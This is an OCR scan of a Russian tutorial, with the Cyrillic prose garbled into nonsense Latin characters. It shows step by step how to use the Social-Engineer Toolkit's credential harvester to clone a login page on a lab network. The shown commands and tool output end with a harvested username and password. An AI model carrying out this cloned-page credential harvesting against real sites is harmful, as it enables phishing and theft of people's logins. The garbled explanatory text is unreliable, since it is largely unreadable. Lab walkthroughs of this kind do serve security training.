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3anyck SET

sudo setoolkit

Ne 1: Social-Engineering Attacks (ATakn MeTOLOM coumnanbHON nHxXeHepun) ->Ne 2: Website Attack
Vectors (BekTop aTak Ha canThl) ->

Ne 3: Credential Harvester Attack Method (ATaka gns cbopa y4eTHbIX gaHHbIX) ->Ne 2: Site Cloner
(KnoHupoBaHune canTa)

ByneT npennoxeHo ykasaTb IP agpec, Ha koTopom byaeT http wni3. T e TOT cepBep, K KOTOPOMY
6yneT opraHM3oBaHO NoAKJOYEHME 1 KoTopoe ByaeT oTobpaxkaTb TUNa-P3INKOBbLIN-CanT. 340eCb
agpec Ha uHtepdgence Kali 192.168.1.15. 3T0T NyHKT gobaBfieH B CBSI3M C HECKOJIbKMMU
BO3MOXXHbIMU UHTepdencamm B cucTeme.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.15]:

Hdanee BBOOUM afpec KOMUPYeMOn cTpaHuubl. B naHHOM cnydae 370 192.168.1.89

[-1 SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone: https://192.168.1.89/auth

[*] Cloning the website: https://192.168.1.89/auth
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available...
[*] The Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[*] Information will be displayed to you as it arrives below:

Tenepb https cTpaHnyka canta 192.168.1.89/auth pa3melteHa Ha http 192.168.1.15. Mpwu
obpalleHnn byaoeTt oTobparkeHo

192.168.1.15 - - [08/0ct/2025 04:11:31] "GET / HTTP/1.1" 200 -
192.168.1.15 - - [08/0ct/2025 04:11:32] "GET /favicon.ico HTTP/1.1" 404 -
192.168.1.15 - - [08/0ct/2025 04:11:44] "GET / HTTP/1.1" 200 -

[*] WE GOT A HIT! Printing the output:



POSSIBLE USERNAME FIELD FOUND: username=test

POSSIBLE PASSWORD FIELD FOUND: password=gtrokl

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

MNMonb3oBaTenb Nocae 3Toro byaeT TUXO NepeHanpaB/ieH Ha HAaCTOALLYIO CTPAHNYKY, a B Jlorax
OyoeT oTpa)keH BBEAEHHbIN IOFUH 1 NapoJib.
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